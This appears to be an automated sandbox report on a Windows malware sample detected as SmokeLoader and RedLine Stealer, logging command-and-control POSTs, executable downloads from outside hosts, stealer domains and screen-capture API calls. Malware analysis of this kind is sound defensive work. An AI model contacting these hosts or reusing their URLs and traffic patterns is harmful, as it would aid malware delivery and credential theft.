Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 03 Oct 2023 07:55:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Tue, 03 Oct 2023 07:15:06 GMTETag: "98800-606caa6821478"Accept-Ranges: bytesContent-Length: 624640Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 6a 10 68 79 0b 7e 3b 79 0b 7e 3b 79 0b 7e 3b aa 79 7d 3a 72 0b 7e 3b aa 79 7b 3a e9 0b 7e 3b aa 79 7a 3a 6d 0b 7e 3b 36 77 7a 3a 68 0b 7e 3b aa 79 7f 3a 70 0b 7e 3b 79 0b 7f 3b f4 0b 7e 3b 36 77 7b 3a 47 0b 7e 3b 36 77 7d 3a 6f 0b 7e 3b b8 77 7b 3a 78 0b 7e 3b b8 77 7e 3a 78 0b 7e 3b b8 77 81 3b 78 0b 7e 3b b8 77 7c 3a 78 0b 7e 3b 52 69 63 68 79 0b 7e 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cc be 1b 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 22 00 78 01 00 00 18 08 00 00 00 00 00 88 62 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 09 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 1c 02 00 50 00 00 00 c0 1c 02 00 64 00 00 00 00 a0 09 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 68 19 00 00 b0 fb 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 01 00 18 00 00 00 f0 fa 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 09 76 01 00 00 10 00 00 00 78 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 00 96 00 00 00 90 01 00 00 96 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f0 65 07 00 00 30 02 00 00 5a 07 00 00 12 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 a0 09 00 00 02 00 00 00 6c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 19 00 00 00 b0 09 00 00 1a 00 00 00 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vtqsod.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aughe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fviqib.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cqexxjno.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hjjvq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xgeyakiifw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xgeyakiifw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: gudintas.atData Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 3f 24 cf ad 7f 11 dc b7 f0 4d 5b e4 b4 f9 8e ee 61 06 a3 e1 f8 92 93 30 cd f1 bb 61 d4 67 02 20 1b 34 68 8d 0a e8 44 69 81 db fe dc f5 93 7f 76 c5 b4 a7 70 ca 1f 8c 04 a7 2c de 54 26 26 8d 50 45 ed 0e 49 2f 5e 8a 2e d1 f8 8a ef 95 c1 90 f5 d3 37 81 83 e2 0b 4e 84 58 63 a6 83 20 ba 79 29 25 80 e9 ca 80 88 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vu?$M[a0ag 4hDivp,T&&PEI/^.7NXc y)%
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ajhuadbjy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 143Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ptxqbvvyee.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://seqlxfb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 284Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ppidsxxc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 222Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://julpewmqko.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: gudintas.at
Source: global traffic	HTTP traffic detected: GET /186.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h170811.srv22.test-hf.su
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uhjls.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: gudintas.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://diludhd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: gudintas.at
Source: global traffic	HTTP traffic detected: GET /ofdskiewerews/update.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 193.149.185.139
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mqsawjuwq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: gudintas.at

Source: Joe Sandbox View	ASN Name: MegaCableSAdeCVMX MegaCableSAdeCVMX
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR

Source: Joe Sandbox View	IP Address: 211.181.24.133 211.181.24.133
Source: Joe Sandbox View	IP Address: 211.181.24.133 211.181.24.133

Source: explorer.exe, 00000001.00000000.900098420.00007FFA11519000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov
Source: explorer.exe, 00000001.00000000.900098420.00007FFA11519000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro
Source: 6E11.exe.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 6E11.exe.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/?
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/B
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/Y
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/api
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/api)
Source: RegAsm.exe, 00000016.00000002.1121991366.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/apiP
Source: RegAsm.exe, 00000016.00000002.1121991366.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/apik
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/apil
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/apill
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/apillr
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/apiq
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/apiy
Source: RegAsm.exe, 00000016.00000002.1121991366.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/h
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fiancejiveimp.fun/p
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149924480.0000000007C4B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149924480.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149273611.00000000053B6000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.000000000792A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/
Source: AppLaunch.exe, 00000019.00000002.1149623995.000000000792A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/0
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/8yP
Source: AppLaunch.exe, 00000019.00000002.1149924480.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/A
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/Fy
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/Qy
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/api
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/api)t%
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/api9uU
Source: AppLaunch.exe, 00000019.00000002.1149273611.00000000053D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/apiH
Source: AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/apiQu-
Source: AppLaunch.exe, 00000019.00000002.1149273611.00000000053D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malenursenect.fun/apil
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003C6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://malsvchost.exe
Source: 6E11.exe, 00000015.00000000.1046466838.0000000000892000.00000002.00000001.01000000.00000008.sdmp, 6E11.exe.1.dr	String found in binary or memory: http://metro.mahapps.com/winfx/xaml/iconpacks
Source: explorer.exe, 00000001.00000000.896581673.0000000002E89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ns.adob
Source: 6E11.exe.1.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000016.00000002.1122515831.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1122925275.0000000003BC7000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.896996023.00000000067AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://java.sun.com
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: 6E11.exe.1.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AppLaunch.exe, 00000019.00000002.1149924480.0000000007A9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RegAsm.exe, 00000016.00000002.1122925275.0000000003BF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 00000016.00000002.1122515831.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1122925275.0000000003BC7000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/
Source: RegAsm.exe, 00000016.00000002.1122515831.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1122925275.0000000003BC7000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/https://www.google.com/intl/en_uk/chrome/https://www.google
Source: AppLaunch.exe, 00000019.00000002.1149623995.00000000078FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=.net
Source: AppLaunch.exe, 00000019.00000002.1149623995.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/setprefs?sig=0_d7toVxfMKzFj4yeYEy5xHRJrV_I%3D&source=en_ignored_notification&
Source: AppLaunch.exe, 00000019.00000002.1149623995.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149623995.00000000078FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3D.net%2B4.8.1%26oq%3D

Source: unknown

DNS traffic detected: queries for: gudintas.at

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 22_2_00438ECD InternetQueryDataAvailable,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,_strlen,HttpSendRequestA,GetProcAddress,InternetQueryDataAvailable,HttpOpenRequestW,InternetCloseHandle,InternetConnectA,GetModuleHandleW,InternetOpenW,InternetReadFile,GetProcAddress,

22_2_00438ECD

Source: global traffic	HTTP traffic detected: GET /186.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h170811.srv22.test-hf.su
Source: global traffic	HTTP traffic detected: GET /ofdskiewerews/update.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 193.149.185.139

Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.149.185.139

Source: unknown

HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vtqsod.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: gudintas.at

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0.3.file.exe.2330000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.aueuggs.2510000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.2320e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aueuggs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aueuggs.2500e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.885330632.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.939764066.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 22_2_00430EEA CreateDCW,GetSystemMetrics,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,SelectObject,BitBlt,SelectObject,DeleteDC,DeleteObject,

22_2_00430EEA

Source: file.exe, 00000000.00000002.900688449.00000000023A8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

memstr_53b5a63d-8

System Summary

Malicious sample detected (through community Yara rule)

Source: 21.0.6E11.exe.890000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with unregistered version of .NET Reactor Author: ditekSHen
Source: 0000000F.00000002.950991871.0000000002500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.900656340.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.900699694.00000000023B7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000F.00000002.951037651.00000000025C6000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: C:\Users\user\AppData\Local\Temp\6E11.exe, type: DROPPED	Matched rule: Detects executables packed with unregistered version of .NET Reactor Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\EDBC.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 136

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410051	0_2_00410051
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B8FD	0_2_0040B8FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040FB00	0_2_0040FB00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004105A2	0_2_004105A2
